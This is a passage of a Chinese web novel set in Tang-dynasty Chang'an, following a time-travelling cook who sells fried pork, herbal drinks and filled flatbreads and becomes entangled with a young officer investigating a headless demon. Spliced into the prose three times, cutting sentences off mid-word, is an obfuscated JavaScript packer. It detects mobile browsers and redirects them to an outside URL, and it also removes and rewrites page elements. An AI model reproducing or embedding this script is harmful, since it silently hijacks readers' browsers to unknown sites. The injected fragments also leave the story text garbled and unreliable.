《长安食肆经营日常》 1. 第一章 炸酥肉与冰凉紫苏饮子 “连雨不知春去，一晴方觉夏深”，长安淅淅沥沥下了几场绵密春雨，太阳终于从云层里小露了个脸。 已是正午，市署沿街击鼓三百下，长安东西两市正式开市，肆铺们也陆续开始营业。 往日通义坊最繁华的地段当是那棵上百年银杏树旁，那里是大食、拂菻等异族人聚集地，有算卦耍杂技摆弄皮影戏的，好不热闹。 坊间最出名的酒肆“东南佳味”就坐落这里，主打菜便是被前朝隋炀帝称赞过的金齑玉脍。 其实说白了就是切薄的生鱼片揉点香柔花叶，盘子上再放几瓣金色鲜蜜桔。 虽制作简单，食客倒是络绎不绝，饶是王子皇孙，也经常有打发了家奴来买一份带回去的。 因前几日几场雨耽误了生意，店家眼瞅着出太阳了，忙遣人一大早买了一大篓活蹦乱跳的鲈鱼，只是今日好像失了算，店里的食客居然寥寥无几。 终于盼来了两个着幞头袍衫的文人，手上拎着个荷叶包，边坐下边朝店家喊道：“酒博士，来份金齑玉脍，一壶麦薯酒。” 说着，迫不及待的打开了荷叶包，瞬间香味四溢，不仅两个文人食指大动，周围的食客也都纷纷侧目。 跑堂的小博士打了一壶子冷酒送过来，也被这香味儿吸引，两眼直直的盯着荷叶包里炸的金黄香酥的肉段：“呦，客官，您这是什么吃食啊，闻着可香了。” 文人得意地倒了杯酒“这是市尾那家汤饼馆子新出的，叫什么...炸酥肉，生意好的不得了，某这可是排了半个时辰才买到的。” 通义坊尽头是几家平平无奇的果子铺、绸缎衣帽肆、坊里小吃店，然而地段不好，人流自然也不多，连为数不多的几棵香椿树都蔫巴巴的。 今儿那一家名不见经传的段家汤饼铺子前倒是排起了长龙,一时引得路过的人也驻足观望。 铺子前临时用瓦砖搭了个小炉灶，炉灶边上摆了个粗瓷大盆，里头是用花椒、八角、盐、鸡蛋腌制了一早上的五花肉，上面的油锅正在不断冒着热气。 一位面容清秀的娘子着一身鸦色对襟褂子，在炉灶前有条不紊的炸肉，先撒入花椒碎炒香，再放入腌制入味的去皮五花肉。 等表面酥脆后再扔下去起高温复炸，炸好的五花肉外表金黄酥脆，内里鲜嫩多汁。 用一张干荷叶娴熟地包裹起来缠上麻茎，递给等在灶前迫不及待的食客。 她偶尔抬头望一眼低低坊墙外的飞檐翘角，又继续埋首干活。 店主段大娘守寡多年，日子过的清贫拮据，脸上常年愁云密布，今儿倒是换了身鲜艳的妃色高腰裙，边敲打着算盘边笑开了花。 围在铺子前的食客们因等待良久，倒是几个凑一块开始谈天说地，从东西市哪家食肆味道最好，一直聊到大慈恩寺最近的变场。 “段大娘，这位小娘子是？”隔壁裁缝铺的耶律娘子既被香味吸引，又好奇这位面生的少女，倒是段大娘爽朗地说：“妾娘家的侄女，自凉州而来。” 那小娘子也抬头看向耶律大娘，见她眼神不断瞟向冒着香气的油锅，了然一笑，很是上道地说：“妾名唤知微，初来长安，未来得及与邻居打招呼，等收完摊，给您送一份酥肉。” 整个人看上去爽利又响快，还知道给左右邻居送上一份。 耶律大娘满足了八卦心又白得一份吃食，乐得不知如何是好，只说：“多聪慧的娘子，不打扰你们了。”转身回了自己的裁缝铺。 “我当然不是凉州来的”。段知微一边干活一边想。她在青海做美食特辑，自己开着车在大环线上走，不知。怎么就在戈壁里翻了车，再醒过来，已经置身本朝的凉州。 原来这个世界也有个段家娘子，随父母出行的时候路遇雪崩，结果只有她一个人被救了出来，当然救出来的已经不是本人，是还惦记着青海美食特辑的段知微了。 天崩开局，所幸段知微穿越过来的身份是个良民，有户籍，出门在外也能假正经的来一句：“妾西平段氏...”虽然比不得琅琊王氏或者清河崔氏气派，但也比流民或奴婢好太多了。 凉州倒也是河西最大的州，长河日落，大漠孤烟，段知薇在城中牛车上掀起帘子都能看到远处西面荒凉戈壁滩，天寒地冻。 城中酒肆早早升了火，胡姬跳着胡璇舞贩售葡萄酒、烤羊肉。也是另有风情，只不过段知微在凉州已无亲友，却意外得知有个长姑年少时嫁到长安。 有哪个现代人能拒绝长安呢？本着来都来了的精神，段知微在凉州攒了一段时间的钱，找了个胡商的车队，坐着骆驼晃荡了几个月，终于到了长安。 一早上卖完所有炸酥肉，段大娘高兴地低头数着铜钱，段知微饿得狠了，低头吃光一碟子蒸饼，若说味道，嗯...味道平平无奇。 她想起什么，好奇问段大娘，中午听排队的郎君说“大慈恩寺的俗讲”那是什么意思。 大慈恩寺寺她自然知道，西安著名景点，承载玄奘西天取经故事的寺庙。再多的也就只知道成人票30元，如果要登大雁塔，那就另算钱，旺季淡季还不一样。 段大娘饮一口酪浆想了想道，每月初一十五，大慈恩寺的和尚都会讲解变文。 变文是个什么东西呢，通俗来讲就是佛家定期在寺庙讲故事吸引人来听。 最近更是特意请了敦煌的师傅写变文，讲得是在九江郡，纨绔们夜里在船上喝酒作乐，忽听外面传来琵琶声。 茫茫浔阳江水，琵琶铮铮，原来是另一搜船上有歌女戴着白色帷帽在弹琵琶。纨绔们喝了酒，命船家划船靠近。 那女子身着薄罗金泥的绯色襦裙，抱着琵琶在暗夜里竟有说不出的诡异，那少年仗着酒劲，一把掀了她的帷帽，结果吓得倒在穿上，命船家赶紧划走。 “歌女长得不好看？”段知微听得入神，忙问。 段大娘摇摇头：“那是飞头蛮化作的女子，少年掀开帷帽，发现只有个腔子，没有头。” 段知微听得津津有味，随手拿起一碗酪浆饮下，随后大声咳嗽起来：“长姑啊，酪浆里能不能不要放葱姜蒜啊！” 大慈恩寺的俗讲让段知微起了些心思，长安刚刚才暖了起来，走在路上都是一波波的热浪。 所以说。听完俗讲的仕女郎君擦着汗出来以后一定会...口渴。 这就好比段知微在硕大的博物馆转了一大圈，出门发现博物馆门口卖油炸淀粉肠、桂花糕的摊子挤了满满一路。其中卖柠檬茶的摊子人最多。 可不是，大夏天逛的人口干舌燥不得来点清爽的水解渴。 商机这不就来了。 《周礼》中便听过“六饮”：水，浆，醴，凉，医，酏。到了本朝，发展成了“乌梅浆”和“卤梅水”。 做法也非常简单，把新鲜梅子晒开，和盐搅拌后一起冲入热水，这也算是现代酸梅汤的前身了。 段大娘家中倒是有一包梅子碎，段知微烧了水冲泡一喝，齁咸。她整个坊里转了一圈，在果子铺买了新鲜梅子，又到药铺买了紫苏、甘草类的回了家。 她打一桶井水，把梅子洗净，用盐腌制去除其中的涩味。把梅子与嫩姜，紫苏，冰糖加一起腌制半个时辰，到出汁即可。 再在锅里把腌渍好的梅子与甘草、陈皮、山楂、薄荷一起熬煮，大火烧开转小火，就会得到一锅颜色清亮粉红的紫苏饮子。 段知微看了眼清亮的汤色，满意点点头，喊段大娘来尝。 段大娘摇着蒲扇走到后院惊讶道：“好漂亮的汤色。”与碎渣与盐块齐飞的乌梅浆简直天壤之别。 段知微倒一碗递给段大娘，她一口气干完，只觉梅子的甜香、紫苏的清香和薄荷的清凉一块涌到脑袋上，段大娘叹口气：“这饮子，只怕圣人也喝得了。” 那倒是说到点上了，段知微心想。据说宋仁宗曾开了个天下饮子评比大会，经过翰林院专家评委点评，什么二陈饮、薄荷饮、桂花饮、乌饮全都输给了这紫苏饮。 段知微将紫苏饮细细用蜜蜡封好湃入井里。既然宋仁宗喜欢，两朝又隔得不远，那本朝人...也应该喜欢吧。 准备卖的另一种便是桃花乳酪，这倒是简单，只需牛奶加酒酿汁大火烧开酿凉就行，时人爱以花为食，便在乳酪上加几片桃花碎。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426904|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长安仕女爱美，这便是以“美白”为卖点的桃花乳酪。 万事俱备，只欠...等等，还差交通工具啊，段知微一拍脑门，噔噔噔跑去恁驴铺子，对方开口就要一月五十文。 段知微这几日也赚了不少，又与铺子老板砍了半日价，最后各退一步，段知微选了条年迈的驴，老板让了她十文钱，最后四十文成交。 段知微坐着驴车回来，想了想又敲响邻近蒸饼铺的门。一位金发碧眼的栗特美人从帘子里出来。 段知微道：“野那，明日妾去大慈恩寺附近摆摊，你可愿一起去？”她仔细讲了关于大慈恩寺大受欢迎的俗讲，并表示在那里蒸饼应该会卖的很不错。 野那被说得一愣一愣，犹豫片刻同意为她分摊十文恁驴费。 第二天，坊市一开门，段知微便把做好的桃花乳酪和紫苏饮子搬上车，和野那一起慢悠悠的晃荡到了大慈恩寺附近。 大慈恩寺果然早已人头攒动，这寺背靠大明宫墙，很是气派。 初夏时分，寺中池塘早已错落有致的铺满碧色荷叶，粉嫩娇艳的荷花亭亭玉立，吸引游人无数。 段知微选了大慈恩寺正门口一个绿荫下，将两个桶缸摆在食案上。她拿出一个莲花样的小木碗盛出一碗汤色粉红清亮的紫苏饮子摆在最前面招揽客人。 眼下时辰还早，所有人都往大慈恩寺里走，段知微也不急，找个石头坐下摇摇蒲扇。 大慈恩寺传来阵阵梵音，似乎俗讲开始了，过了一个时辰，陆陆续续有人从寺里出来了。 段知微笑眯眯叫住了一位热得满脸通红正用帕子擦汗的娘子，把盛着冰凉紫苏饮的碗递到她面前道：“妾身冒昧，见娘子似乎颇为口渴，可愿试试这冰凉香甜的紫苏饮？井水里湃了一夜，搁了些花蜜。” 那女子生得高大丰满，拿起碗一气儿喝了，只觉冰冰凉凉酸甜可口，她忙道：“再来三碗。” 开头就顺利吸引到了顾客，段知微忙给她再倒一碗，女子爽朗笑道：“好喝好喝”嗓门大了些，引起一群人注意。 很快段知微的摊位就围了不少人，见一群薄纱襦裙的仕女围过来，段知微才打开另一个缸，嫩滑如凝脂的乳酪上是红色斑斑桃花。 “这可是好东西啊，牛乳喝了能变白，桃花则使人不用敷胭脂也能面若桃花。” 段知微生得白净，似乎很有说服力：“妾自小凉州长大，边塞风沙伤人，那里的人们饮用乳酪，能让皮肤养白许多。” 仕女们听得心动，纷纷掏钱，段知微边收钱边道：“妾在通义坊尾部的香椿树下有一小食肆，各位仕女若是愿意可自那找妾，这桃花乳酪喝完一个月，包管你肤如凝脂。” 放长线钓大鱼，这才是段知微的目的，许多仕女当真记下了食肆的位置，打下了部分客户的牢固基础。 终于赶在日落西山售罄，段知微把两个空缸搬回驴车上，用粗布麻绳捆好。野那只带了一篮子蒸饼，早早卖完也跑去听寺里和尚俗讲，一直到现在才回来。 见野那回来，问野那：“今日的俗讲好玩吗？” 野那很是兴奋地点点头，想了想用她那半生不熟的长安话道：“今日的故事还是出自你们凉州呢。” “哦？”段知微来了兴致问：“什么内容？” 凉州折冲府都尉袁慎己，据说一次在凉州姑臧山不慎迷路滚落悬崖，高烧不醒，虔诚的祈祷感动了上苍，一位狐仙化作的美人前来，献出自己的白色内胆救了他。 那袁慎己两月前来长安金吾卫轮值，便将这个故事讲给了自己的文人好友，好友将故事写成了变文。 野那感叹：“那袁都尉据说曾在雁门郡外率领精锐骑兵截断突厥粮道，圣人很是欣赏，年级轻轻已官至四品，眼下却被一狐精所迷惑，不知伤了长安多少美貌娘子的心。” 这俗套的故事并没有迎来段知微的批判。夏日炎炎，段知微却抹了把冷汗，野那困惑地看段知微一眼问：“你怎么了。” 段知微摇摇头，心虚道：“天气太热罢了。” 心里想，什么白色仙丹能救你命啊，那分明是我最后一颗布洛芬好吧。 2. 第二章 雪泡缩脾饮与改良版胡饼 充当仁慈的圣母并不是段知微的风格，“明哲保身”才是她奉为圭臬的人身哲理。但是话又说回来，如果一个人满身血污躺雪地里，伸出个胳膊希望你救救他... 那日段知微不过在姑臧山山脚寻一些草药，却见一男子浑身血污躺在草丛里。 那人身量高大，长袍上绣着瑞马和苍鹰，身佩长刀，穿着明光甲。一看便是个武官。 边地的秋冬，连草色都荒凉，段知微敬佩边塞军官，也实在不忍心，见那人睁眼看向自己，额头大处伤痕不断滴血，染得雪地一片通红。 段知微用手轻触下他额头，烫得吓人。考虑片刻掏出最后一颗布洛芬塞进那人嘴里，又回城中报知了官府，后续也没有再关注。 想不到竟是个大人物。 段知微大叹一口气，如果现在自己仗着恩情前去官署“你好，记得我吗，哈哈哈您真是贵人多忘事，我在凉州城外救过你的命呐，你都官至四品了这恩情起码值西市一套铺面吧...实在不行给点绢帛、飞钱也行啊，我不挑，给多少是多啊...” 只会得到两种结果，第一种，真的被当成狐精抓起来，不知道本朝对狐精怎么处理？总之下场不会太好。 第二种，这位四品大员命令自己再掏出点白色内丹造福边地战士...根本就拿不出来。 其实自己这种平头百姓与四品官员不可能有什么牵扯，架不住这位传说中高大英俊的都尉特意找文人将这个故事写成了变文。 大慈恩寺这个地方还是不去了吧，段知微再叹一口气，把心思又放到了自家那个，通义坊尾部的小店上。 经过段知微几日的观察，这小铺子虽在坊尾，却是不少官员去上班的必经之路，段知微卖酥肉的时候便听到有排队的郎君抱怨，说那转运使司的食堂着实难吃。 段大娘的店原先只卖滋味平平的蒸饼和胡麻粥都能勉强度日,多半也是因为大部分官员一大早便要上班，随手买个蒸饼糊弄一下。 馎饦、馄饨等需要在店中久坐的吃食暂时便算了，破败的店铺连食案都犯着油腻腻的黑光，眼下可没有闲钱装修，段知微思索片刻，还是找人在店口搭建了个胡饼炉。 段知微准备试着做一份包着馅料的胡饼。 本朝包着羊肉馅料的胡饼叫做古楼子，羊肉里加入胡椒豆豉调味，抹上香油一起烤。 只是羊肉价贵，段知微连成本都付不起，只好放弃羊肉决定包猪肉，反正做炸酥肉也要用到猪肉，一起买了还省时省力。 段知微觉得这有点胡椒饼的意思，她在夜市吃过一回，外壳烤得焦焦脆脆，咬一口肉香混着浓郁胡椒的香气弥散开来，整个摊子都在大排长队。 她将肥瘦相间的猪肉细细剁成肉馅，将泡着葱姜蒜的水淋到上头，再搁些酱油、料酒，一起搅打。 若能搁些胡椒就好了，段知微遗憾得想，胡椒价比黄金，还是算了。 段大娘已经完全学会了炸酥肉的方法，换下了妃色的鲜亮襦裙着一身黄麻粗布衣服在门外忙得脚不着地，扭头对段知微道：“知微啊，雇个人吧，实在不行回头去东市赁个奴回来。” 段知微把其中一半肉馅炒香，闻言一摊手：“长姑啊，吾辈没有铜钱呐。”惹来排队的人哈哈大笑。 将鸡蛋、清油、酥油、牛奶等加入面团，等其发酵排气后，分成等大的剂子，将剂子擀成中间厚四面薄的饼皮，再加入油酥收口再次擀长卷起。 最后加入一半生一半熟的猪肉馅，像包子那样收口捏成一个个加馅料的胡饼，抹上香油，撒上芝麻，完工。 接下来便再做一份雪泡缩脾饮，这饮子可以除烦渴，消暑热。 这个倒是简单。以砂仁、乌梅肉配着苹果、去皮甘草、干葛白扁豆用水煎成，主要针对酒肆中饮醉的顾客，喝完一碗直接清凉到脑门上。 一面是凌晨五时饥肠辘辘由西向东上班的官员，另一面是平康坊欢饮达旦，自东向西而来的酒客，段知微已经看到无尽的铜钱在向自己招手了。 约莫早上五点多，承天门上传来第一声报晓。鼓声击破长夜，然后如多米诺骨牌般，自皇宫向外的每个鼓楼都应声开始报晓，惊天动地，振奋人心。 要说还有什么更糟的，就是全长安几百家寺庙应声附和，开始撞击梵钟。 顶着一头乱草的段知微深深打了个哈欠，揉揉眼睛先给烤炉预热，再去后院用冰冷井水搓一搓脸，用青盐漱漱口，便出门把已经备好的胡饼贴进炉壁中，开始烘烤。 果然不出所料，路过通义坊的各色马车、牛车和步行上班的人们自西而来，有部分手上拿着蒸饼，边走边吃。 只是无人往段家食肆撇上一眼，这家又小又破的店在这十来年，每天如一日的卖蒸饼和胡麻粥，有什么可看的。 苏莯便是一大早便要去上值的九品小官一个，他穿着不太合身的青色官服，抱着一些公文走着，被倚在烤炉旁的段知微热情叫住。 浅青色官服意味着官小，走路意味着没什么钱，衣服全是褶子说明未娶妻所以没人给煮朝饭，一脸读书人的清澈说明好忽悠，这就是潜在目标客户了。 段知微夹起一个胡饼包进荷叶里笑着递给苏莯：“总是见郎君自这边路过，这是妾家食肆的新品夹馅胡饼，郎君尝尝，第一个免费。” 苏莯出自武功苏氏，自小安静爱读书，只是认死理还不大爱攀附上司、所幸祖上关系绕来绕去绕长安城一大圈能勉强绕到南昌公主驸马苏勖身上，因此家中托了老大关系在长安混个小官。 苏莯确实是打算去官署食堂蹭朝食因而饥肠辘辘，那胡饼抹了鸡蛋液撒了芝麻看上去焦脆诱人，苏莯咽了咽口，规矩施了一礼道谢然后接过咬上一口。 只觉外壳酥脆非常，片片往下剥落。一股滚烫的肉汁猝不及防流了出来，浸染了脆脆的饼壳，胡饼的焦香之气和肉馅的鲜香之气不断弥漫开来。 这下饥肠辘辘在赶路的路人们纷纷侧目过来，苏莯吃得满头是汗，一边喊烫一边不断点头昂声道：“好吃好吃。” 宣传效果达到了，人群一下子就围了过来，段知微又打开装有雪泡缩脾饮的大缸，笑着舀一碗递给最前头的苏莯道：“郎君可需要饮一碗，在井水里湃了一晚上了，清凉可口。” 缸中冒出清甜苹果香气，只见那缸中鲜红乌梅肉和大块雪白的苹果肉煞是好看。 苏莯接过饮下，冰凉清甜的苹果香一下冲散了困意。 路过的人开始排队，苏莯反应过来，赶紧再挤入人群里：“某还要三个胡饼！” 这厢段知微忙得不可开交，赶紧冲屋子里嚷嚷“长姑别磨蹭了赶紧出来帮忙。” 段大娘起得比段知微还早，盘了大半日反绾髻，如今正往头上别一个桃红绢制牡丹，听闻段知微求助后道：“知微啊你再坚持一下，长姑马上就好。” 夏日浮躁，树上褐蝉、雀鸟喧燥不停。南衙官署却一片死寂。袁慎己刚值完上夜，着一身绯色官袍，腰上规矩地束着褐色革带，皱着眉头盯着眼前白麻纸文书。 虽然年轻，但毕竟边地军营磨砺良久，英俊的面孔带着些不怒自威的凌厉，他的贴身侍卫站在前面紧张地汗水都从发丝跌落到地上。 文书上的大致内容便是前日大慈恩寺俗讲，江上出现了伪装成琵琶女的飞头蛮，当地县尉还未找到身子，那头竟然出现了长安一家胡饼铺子。 侍卫擦把汗：“据说那胡人半夜醒来听到厨房有动静，一看缸中竟有颗头，吓得惊呼一声跑出家门，路上巡查的武侯听到动静跑过来，也见那头飞走了。”那胡人吓得神志不清，至今还在病坊躺着。 袁慎己放下文书问：“为何不请捉妖司？” 侍卫忙道：“原先这胡人受伤神志不清，那胡人脾气暴躁，素与人有矛盾，恐担心是人作怪，便作为案件归给了大理寺。” 侍卫悄悄看他一眼，见其眉头紧锁，便继续道：“可大理寺探查一番，又找了目击的两个武侯，确认这事确实是飞头蛮所为，推给了捉妖司。 眼下捉妖司全部去洛阳探查牡丹花妖一案了，想来是见事情发生在了夜间，便交给了金吾卫。” 金吾卫负责皇宫和京城的治安和巡逻，掌控京城“宵禁”，上面估计是基于此的考量，把文书送了过来。 袁慎己刚要说话，却听得外面一阵喧嚣。 几个刚下值的中侯正一股脑去抢苏莯手中胡饼，见袁慎己出来，赶紧行礼。 “你们几个在做什么！”袁慎己最是重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426905|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视规矩，他身量高大，往那一站，简直不怒自威。 苏莯平常见着他就像老鼠见了猫，此刻赶忙解释说：“袁都尉是这样的，通义坊一家食肆卖的好胡饼，某见确实好吃，又想到中侯们整夜都在巡城，便多买了些回来。” 那胡饼在争抢中裂了个口子，肉香鲜香浓郁的气息冒了出来，饶是袁慎己这种劣质粮草也能吃得津津有味之人也不禁咽了咽口水。 他抬头打发中侯们走，又看一眼那确实美味的胡饼，联想到偷吃胡饼的飞头蛮，他长腿一跨，一个箭步凑近到苏莯跟前，苏莯吓得往后退上两大步，袁慎己接过胡饼问“你说的那家食肆，在通义坊哪里？” 忙碌了一整天，胡饼卖完了，酥肉卖完了，几个饮子剩了些段知微给周围的邻居们分掉。 眼下日暮四合，夕阳将云朵染得橙红，食肆旁的几棵香椿树被染上一层金色薄纱。黄昏的风吹拂，带来丝丝清凉。 坊里的人们都坐到树荫下摇着扇子纳凉，野那百无聊赖地在拉一把奚琴，耶律大娘和段大娘在研究长安最近时兴的妆容，段知微饮一口紫苏饮，只觉这样的生活也很不错。 她难得有此温馨感慨地时刻，远处却传来哒哒的马蹄声，扬起一阵尘土，破坏了这等宁静。 袁慎己带着两个侍卫到了苏莯说的地方，急急勒了马，他在马上冲段知微拱手：“这位博士，听闻你家胡饼一绝，某特地来尝尝。” 袁慎己等半日见她不答话，眉头一沉道：“价格好商量。” 那人身量高大，背着光在夕阳下，看不清脸，段知微反应了一会才知道他说得博士原来是自己。 也难怪，本朝女扮男装蔚然成风，段知微觉得穿男装行动方便又便宜，又因为烤炉的阵阵浓烟带了个帽子遮住满头青丝，对方把自己认成一个跑堂博士也不奇怪。 炉火早灭了，再生火多麻烦，她刚想拒绝，段大娘便抢先一步捂住她的嘴，赔笑着对袁慎己道：“可以的，这位郎君，妾现在就来做。” 段大娘小声跟段知微咬耳朵：“你看他那横刀...” “刀？”段知微抬头看去，那横刀闪着寒光，一看就出品不凡，似是高阶武官所配。 “你再看他那马。”段大娘再道。 “马？”袁慎己座下红枣马高大威猛，喷鼻声健康响亮。 倒是让段知微幻视在现代开酒店，经理培训也很是到位：“你看他那爱马仕的包...你再看看他那香奈儿的外套，一看就是有钱人啊。” 然后就拿着菜单开始推销店里最贵的澳龙、石斑。 段知微生起了些狠赚一笔的热情，撸起袖子就去生火，见剩下的面团，又搓搓手问已经坐进堂屋的三人：“客官是否再来些馎饦？” 袁慎己还未答话，那侍卫便道：“少啰嗦，有什么上什么！”、 袁慎己向来约束手下欺压平民，于是呵斥了他一声，对段知微拱手道：“属下没有规矩，见谅。” 段知微想了想，拿些做胡饼剩下的面团揪成面片扔进沸水中，在碗里搁上小块猪油，酱油，盐。 煮好的面片与沸水一起倒入碗中，段知微想了想，又磕了个鸡蛋下去。 等候过程中，她好奇去看袁慎己，这人穿着朴素常服，侧看脸部线条坚毅，他将袖子挽了起来，露出结实修长的手臂，看上去很是不好惹。 可段知微总觉得自己在什么地方见过他。 荷包蛋煮熟飘了上来，段知微很快把馎饦端了上来，那侍卫便将馎饦让给了袁慎己道：“都尉，您先请。” 袁慎己见那碗馎饦上缀着星点葱花，筷子一搅活，猪油香气扑鼻。筷子刚夹上鸡蛋，那蛋白便破开，嫩黄的流心冒了出来。 他倒也是饿了，叉起一筷子馎饦送入口中，只觉汤汁清淡鲜美，馎饦顺滑有筋道，竟三两下吃个精光。 这厢段知微想起什么，急忙去门口的炉子里拿出胡饼倒进簸萝然后塞进段大娘怀里道：“妾有急事去趟野那那。”然后急急地跑走， 段大娘莫名其妙，冲着她背影喊：“要宵禁了你早点回来。” 段知微终于想起那人是谁了，那个自己在凉州救了的，还把自己认成狐精的，年纪轻轻就官至四品的袁都尉啊！ 3. 第三章 绿豆粥和槐花饼 段知微只是想去避避风头，野那的铺子还需走段路拐弯，段知微跑得太急，在拐角撞到个人。 “抱歉。”段知微弯腰两手扣在膝盖上累得直喘粗气。 一阵奇异低类似花的香气飘过，段知微这才抬头看向来人。 来人身着半坦胸的泥金纱罗衫孺，配缠枝朱雀锦纹的曳地长裙，手上抱着一把宝相纹琵琶，头上则是一个宽大的白纱帷帽。 段知微看不到她的脸，却直觉那是个美人。 美人转向段知微，微微点头似乎感到抱歉般开口：“娘子身上，似乎有肉汁的鲜香。”声音却意外嘶哑尖利。 段知微刚烤了一炉胡饼，闻言点点头。 那女子修长的手指染着鲜红的指甲，听闻霎时握紧琵琶，手上青筋暴露道：“还有吗？” 段知微刚刚正好烤得有多，见这女子一身华服，脑子里又响起“香奈儿、爱马仕、有钱...” 她兴高采烈地说道“有的，客官这边请。” 那女子抬起头，正好一阵风过，掀开她帷帽的纱。 段知微正想着又来一笔生意，笑容都抑制不住，眼下突然看清她帷帽下的场景，那美丽修长上的脖子上，竟空无一物。 段知微吓得笑容僵在脸上，然后踉跄倒地，反应过来往回跑。 “长姑救命啊，有妖怪啊，没有头的妖怪啊。” 那厢袁慎己正对着胡饼思考捉妖计划，听到外面动静迅速拿着横刀出去，正巧段知微迎面撞到他身上。 段知微抬头一把抓住他的胳膊，带着哭腔道：“那边有妖怪，那妖怪没有头啊！” 袁慎己内心一动，向远处望去，那飞头蛮仍静静伫立在那里不动。他立刻飞奔过去，横刀出鞘，向飞头蛮砍去，那飞头蛮也不主动伤人，只是飞起来躲开他的横刀，往食肆这边看一眼，然后伸展开宽大的衣袖，在暮鼓敲下那一刻如魑魅一样飞走了。 袁慎己只能收了横刀返回。 段知微坐在食肆门口的地上喘气，她跑得急，围在头上的帽巾掉下来，一头如瀑青丝垂下，眼瞳黑亮带着无限生气与活力，她整个人沐浴在黄昏的光中，拉着姑母的手不肯放。 袁慎己看的一愣，过会才反应过来，对她一拱手：“在下汝南袁氏袁慎己，因负责调查飞头蛮一案才来此地。” 段知微也只能简单报了下自己的名字。 袁慎己眯了眯眼：“西平段氏？娘子可是自凉州而来？” 段知微抹了把汗赶紧扯开话题“在凉州待过...那妖怪可是要出来吃人？” 袁慎己将那爱吃胡饼的飞头蛮一事细细说来，并表明会加强通义坊附近的巡防，他双手抱拳：“还望段娘子继续开着铺子，或许能将那妖怪再引过来。” 四品大官都开口了，段知微只能应是，然后在暮鼓中看着袁慎己骑着他枣红色的马离开。 段知微担惊受怕了一晚上，只听到外面武侯巡逻的脚步声，还好那妖怪没再来找自己，于是早上顶着两黑眼圈起来做朝食。 今日生意也很好，胡饼一抢而空，段大娘见她萎靡不振，安慰道：“习惯就好，妾年轻时候经常遇到妖怪。” 那时段大娘还年轻，跟随丈夫走水路，路过枝江县。从船舱出来，惊奇发现江面上布满了金子。 段大娘谈到还双眼发光：“哎呦那璀璨的金子堆积成了小山，各色珠宝镶嵌其中，互相碰撞发出清脆悦耳的叮当声。” 她当即就想前去捡，结果段大娘丈夫很有经验的一把拉住她，抹了把脸突然开始放声高歌。 段大娘似乎很是怀念，感慨：“唱得那叫一个难听啊。” 总之他一曲唱完，眼前的金子全部消失不见了，月光洒在江面上，只有一个穿着白衣的美人披着头发置身江中，见眼前两个活人不上当，那美人狠狠瞪了他俩一眼，转身投入江中。 段大娘这才看清那美人有一条长长的、薄如蝉翼的鱼尾。原来是江伥，诱惑人入水，再将人拖入江底，给人耳朵、嘴巴塞入泥浆。 段大娘拍拍段知微的肩膀安慰道：“这世界上精怪多了去了，遇到一两个也算正常，别往心里去，啊。” 段知微正低头把胡饼拿出炉子，闻言点点头，良久才反应过来，苦着脸道：“长姑，您这也算安慰我啊？” 这里是古代，妖怪是常态。一旦接受这个设定，段知微简直想去问问玄奘法师，您西天取经真的带着孙悟空了吗？能不能把大圣借给我几天？ 虽然如此，生意还得照常做，段知微这几日收入还算可观，就打算把那破烂的厅堂稍微改造一下，勉强能让客人愿意进来就行。 要想花最少的钱做最大的改变，第一要义便是硬装、段知微坐了个驴车到西市买了几块竹制茵褥，也就是所谓的地毯，回来往地上一铺，斑驳的墙壁用黄土稍微抹抹平，再在门上挂个粗竹制成的翠帘。 这硬装软装一上，也没花几个子儿，整个堂屋也算是有了点翻天覆地的变化。 段知微在堂屋晃荡一圈，点点头又摇摇头说：“等我赚钱了，这帘就换成络珍珠和银钩的，墙壁上再找人画幅骏马图。” 她背着手在食肆小小黄墙前指点江山，自觉颇有些李白饮酒大喊“君不见黄河之水天上来”的气势，面上也不禁有些自得起来。 来窜门的耶律大娘坐着边磕瓜子边打破她的幻想：“你长姑十来年前就这么说了。”引发一阵爆笑。 “黄河之水”的气势霎时间没有了，段知微灰溜溜地抱着个杆子和一块布跑到食肆外槐树的绿荫下面。 这是棵老槐了，每年到了季节树上就挂满一串串雪白雪白的槐花，那清香绵延出一条街，直往人鼻子里钻。 这花开得如此好...不腌制些槐花蜜简直对不起段知微的厨娘身份。 袁慎己骑马过来的时候就见段知微正垫着脚拿着长杆子打槐花，那花如雪纷扬落了一地。也落了段知微满头。 今日炎热，她终于放弃了鸦色的对襟挂子，换了身薄薄的碧色襦裙，因为不断地蹦跳，白皙皮肤上染了些红晕，倒是有些清秀意味。 “袁都尉来了。”段知微站起来用布擦擦手，行一个叉手礼，她的声音带着些热情但是听起来言不由衷。 或许是因为天气炎热，袁慎己只觉脸颊微微温热，他稳了稳心神道：“那飞头蛮可有再来过？” “没有没有”段知微赶紧摇头，按照她的预想，袁慎己下一秒就应该勒紧缰绳，扭头就走，结果他就像个柱子似的往那一戳，也不说走，也不说不走... 段知微只好硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这不得一售而空”她想。 眼见着要收摊了，却见耶律大娘跌跌撞撞进来道“不好了，那伙子市井奴又来骚扰野那了。” 